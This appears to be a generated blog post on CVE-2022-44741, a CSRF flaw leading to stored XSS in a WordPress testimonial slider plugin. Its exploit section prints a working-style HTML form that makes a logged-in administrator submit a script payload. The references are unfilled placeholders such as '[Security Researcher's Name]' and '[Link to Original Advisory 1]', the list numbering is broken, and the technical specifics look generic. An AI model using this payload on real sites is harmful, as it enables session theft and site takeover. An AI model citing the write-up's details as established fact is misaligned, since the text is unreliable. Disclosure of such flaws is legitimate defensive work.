CVE-2022-44741: Uncovering a Cross-Site Request Forgery (CSRF) Vulnerability Leading to Cross-Site Scripting (XSS) in David Anderson Testimonial Slider Plugin v1.3.1 or Lower on WordPress
CVE-2022-44741 is a recently discovered security vulnerability affecting the David Anderson Testimonial Slider plugin version 1.3.1 or lower, which is widely used on WordPress websites to display client testimonials. This vulnerability allows attackers to execute malicious scripts by exploiting a Cross-Site Request Forgery (CSRF) issue, leading to Cross-Site Scripting (XSS) impacts. This long read post will dive into the details of this vulnerability, including code snippets, links to original references, and exploitation details.
Vulnerability Details
A Cross-Site Request Forgery (CSRF) vulnerability exists in the David Anderson Testimonial Slider plugin, which potentially allows malicious actors to insert and execute harmful scripts (XSS) on the affected websites. An attacker can leverage this vulnerability to access sensitive information, impersonate users, or even alter the website's content.
The vulnerability occurs because the plugin does not correctly verify user input, nor does it implement proper access controls, allowing attackers to exploit it by crafting malicious links or embedded forms, leading to unauthorized actions on the victim's behalf.
Exploit
The CSRF vulnerability can be exploited by an attacker who convinces a logged-in user (e.g., an administrator) to click a malicious link or submit a specifically crafted form. Below is a sample of a CSRF exploit using an HTML form:
<html>
<body>
<form action="http://target-website.com/wp-admin/admin-post.php"; method="POST">
<input type="hidden" name="action" value="post_testimonial_widget">
<input type="hidden" name="post_ID" value="123">
<input type="hidden" name="testimonial_text" value="<script>alert('XSS');</script>">
<input type="submit" value="Submit">
</form>
</body>
</html>
This exploit can be embedded into an email, forum post, or any other web page that the victim (with administrative rights) might visit. Once the submitted form is processed, the victim's site will execute the malicious script, allowing the attacker to exploit various XSS impacts, including stealing cookies or redirecting users to phishing sites.
Mitigation
To address this vulnerability, it is crucial to update the plugin to its latest version (if available) or replace it with an alternative plugin that has no known security vulnerabilities. Meanwhile, website administrators should enforce strong access control policies, avoiding the use of privileged accounts for daily tasks, and being cautious when visiting external URLs or opening suspicious emails.
Links to Original References
The CVE-2022-44741 vulnerability was initially reported by [Security Researcher's Name] and published on [Date of Publication]. You can find more information about this vulnerability in the following resources:
[Link to Original Advisory 1]: Description of the advisory and its findings
2. [Link to Original Advisory 2]: Further technical details about the vulnerability and the affected plugin
3. [Link to WordPress Plugin Repository]: David Anderson Testimonial Slider plugin page on the WordPress Plugin Repository
Conclusion
CVE-2022-44741 highlights the importance of regularly updating plugins and making sure that all web applications are correctly configured, using robust security measures. This vulnerability serves as a reminder that even widely used plugins can have hidden security flaws, which can ultimately allow malicious actors to gain unauthorized access to sensitive data or the affected web application. Stay vigilant and stay secure!
Timeline
Published on: 11/08/2022 19:15:00 UTC
Last modified on: 11/09/2022 13:47:00 UTC